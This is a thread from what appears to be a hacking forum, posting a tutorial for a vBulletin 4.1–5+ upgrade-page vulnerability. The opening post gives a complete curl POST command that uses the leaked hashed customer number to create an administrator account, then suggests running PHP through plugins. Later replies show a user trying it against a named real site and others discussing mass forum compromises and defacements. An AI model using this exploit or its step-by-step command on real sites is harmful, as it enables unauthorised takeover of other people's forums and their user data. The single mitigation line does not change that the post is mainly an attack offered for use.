Login Register
The stories and information posted here are artistic works of fiction and falsehood. Only a fool would take anything posted here as fact.


Tutorial vBulletin Vulnerability, Versions 4.1 to 5+ filter_list
Author
Message
vBulletin Vulnerability, Versions 4.1 to 5+ #1
vBulletin Vulnerability, Versions 4.1 to 5+

So, a week or so ago a neat friend of mine let me know that there was a undisclosed vulnerability for versions 4.1 to 5+ on vBulletin. I was aware vBulletin's site had been compromised recently, so it's likely this is the exploit that was used. Initially, when I went to take a look at the upgrade system (since I was told that was the location of the vulnerability), I realized that the MD5 of the customer number was shown in the page's source. I thought that this wasn't all that high-risk, since you'd need to crack it. But no, I was wrong. My plan was to keep quiet about it, but I decided I'd make a post about it with all the scripts floating around now. It's better to understand. Below, I'll explain how the vulnerability can be exploited and show what can be done.

Issue: The MD5 of a board's customer number is revealed. This can then be used to make certain modifications the board using the upgrade system.
Solution: Remove the /install/upgrade/ directory until a patch is released, or prevent disclosure of the MD5.


Fire the cannons!
[Adding an administrator account to a preexisting vBulletin forum.]
Preliminary Steps
Let's find a target. We'll pretend that Sinister.ly is using vBulletin version 4.2.0.

In this case, you'd want to go here: http://www.sinister.ly/forum/install/upgrade.php
If Sinister.ly was using version 5 or higher, the page would be under /core/: http://www.sinister.ly/core/forum/install/upgrade.php

The Upgrade Page
Now that we're on the upgrade page (/install/upgrade.php), it should ask for the customer number. We don't have the customer number, but there's something else we can do instead. What we want to do is examine the page source.

Spoiler:
[Image: NxtZH6Q.png]


The Customer Number
Around the beginning of the source, you should find a line showing the customer number (but hashed). Here's an example, for the hash of the customer number Sinisterly:

Code:
var CUSTNUMBER = "fc32762975ddc9a7a96ea377648aafae";

It's Not Plaintext!
Unfortunately, it's hashed, so you can't just paste it into the page and click the button. We're going to have to POST the customer number and other information in order to gain access. I recommend that you use cURL to accomplish things quickly, which is what I would use if I were an attacker. You could also use browser plugins if you want to be a slowpoke.

Using cURL To Break Things
Here's an example POST request in cURL...
Code:
curl -s -A "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0" -b bbcustomerid=fc32762975ddc9a7a96ea377648aafae -d ajax=1 -d version=install -d checktable=false -d firstrun=false -d step=7 -d startat=0 -d only=false -d customerid=fc32762975ddc9a7a96ea377648aafae -d options[skiptemplatemerge]=0 -d response=yes -d htmlsubmit=1 -d htmldata[username]=Username -d htmldata[password]=Password -d htmldata[confirmpassword]=Password -d htmldata[email]=username@example.com "http://www.sinister.ly/install/upgrade.php"

POSTing
You can use the example POST request and modify it. The values that you will probably want to modify are:
  • bbcustomerid=[This is the hashed customer number.]
  • customerid=[This is the hashed customer number.]
  • htmldata[username]=[This is the username of the account you want to make.]
  • htmldata[password]=[This is the password you want to you.]
  • htmldata[confirmpassword]=[This is the password you want to use. Confirm it.]
  • htmldata[email]=[This is the email you want to use. You don't need access to it.]
If you're doing things manually via a browser, be aware that -b passes data as a cookie and -d sends data in the POST request. Also, be sure to change the URL if you're copying it completely.

Done!
Enjoy! Simply log in and you should be an administrator. Note that vBulletin's default ACP directory is /admincp/ and that you will normally find a link to the admin panel on the index. Now you can modify the board and stuff like that. If you want to execute PHP, I'd recommend modifying/adding plugins to do so.


Other Information
[Some information about scripts and stuff.]
Scripts, Scripts, Scripts!
You might want to use a script if you don't have a clue what you're doing, don't want to, and just want to break things. My suggestion, of course, is that you read the tutorial first. If you already understand, but want to break lots of things, a script might be a good idea as well.

Credits to my friend, who I assume wants to remain nameless.
[Image: 7ajmN5P.jpg]

Telegram: Oni_SL (Link)

Reply

RE: vBulletin Vulnerability, Versions 4.1 to 5+ #2
I tried using this on http://www.desirulez.net but it says Page not found, I went to http://www.desirulez.net/install/upgrade.php/

Reply

RE: vBulletin Vulnerability, Versions 4.1 to 5+ #3
(09-09-2013, 06:37 PM)Lucas2321 Wrote: I tried using this on http://www.desirulez.net but it says Page not found, I went to http://www.desirulez.net/install/upgrade.php/

Read here: http://www.vbulletin.com/forum/forum/vbu...bulletin-5
[Image: 7ajmN5P.jpg]

Telegram: Oni_SL (Link)

Reply

RE: vBulletin Vulnerability, Versions 4.1 to 5+ #4
(09-09-2013, 07:01 PM)Oni Wrote: Read here: http://www.vbulletin.com/forum/forum/vbu...bulletin-5

So it's not working anymore?

Reply

RE: vBulletin Vulnerability, Versions 4.1 to 5+ #5
(09-09-2013, 07:07 PM)Lucas2321 Wrote: So it's not working anymore?

The link makes it quite clear, did you even read it?

Reply

RE: vBulletin Vulnerability, Versions 4.1 to 5+ #6
(09-09-2013, 07:07 PM)Lucas2321 Wrote: So it's not working anymore?

Obviously it is.
[Image: 7ajmN5P.jpg]

Telegram: Oni_SL (Link)

Reply

RE: vBulletin Vulnerability, Versions 4.1 to 5+ #7
Question- Was this the exploit used to compromise Coolrom.com?
[Image: swvpf.png]

Reply

Re: RE: vBulletin Vulnerability, Versions 4.1 to 5+ #8
(09-11-2013, 02:34 PM)tygr Wrote: Question- Was this the exploit used to compromise Coolrom.com?

A huge amount of vBulletin sites were compromised when word first started getting out. The exploit was probably used on the official vBulletin website as well.
[Image: 7ajmN5P.jpg]

Telegram: Oni_SL (Link)

Reply

RE: vBulletin Vulnerability, Versions 4.1 to 5+ #9
(09-11-2013, 02:34 PM)tygr Wrote: Question- Was this the exploit used to compromise Coolrom.com?

Like it truly matters. vBulletin quickly patched the exploit.
The Coolrom.com compromise is certainly receiving a lot of attention from its users.
When Kirito defaced a different website I went to I just laid around and enjoyed the music.
[Image: qOXNZIL.png]

Reply

RE: vBulletin Vulnerability, Versions 4.1 to 5+ #10
(09-12-2013, 02:39 AM)Black River Wrote: Like it truly matters. vBulletin quickly patched the exploit.
The Coolrom.com compromise is certainly receiving a lot of attention from its users.
When Kirito defaced a different website I went to I just laid around and enjoyed the music.

I'm not a common user of coolrom, I just happened to go on the site the exact same day it got hacked :3

I don't get why people's jimmies were so rustled about the comprimise, the site was restored in less than a day.
[Image: swvpf.png]

Reply







Users browsing this thread: 1 Guest(s)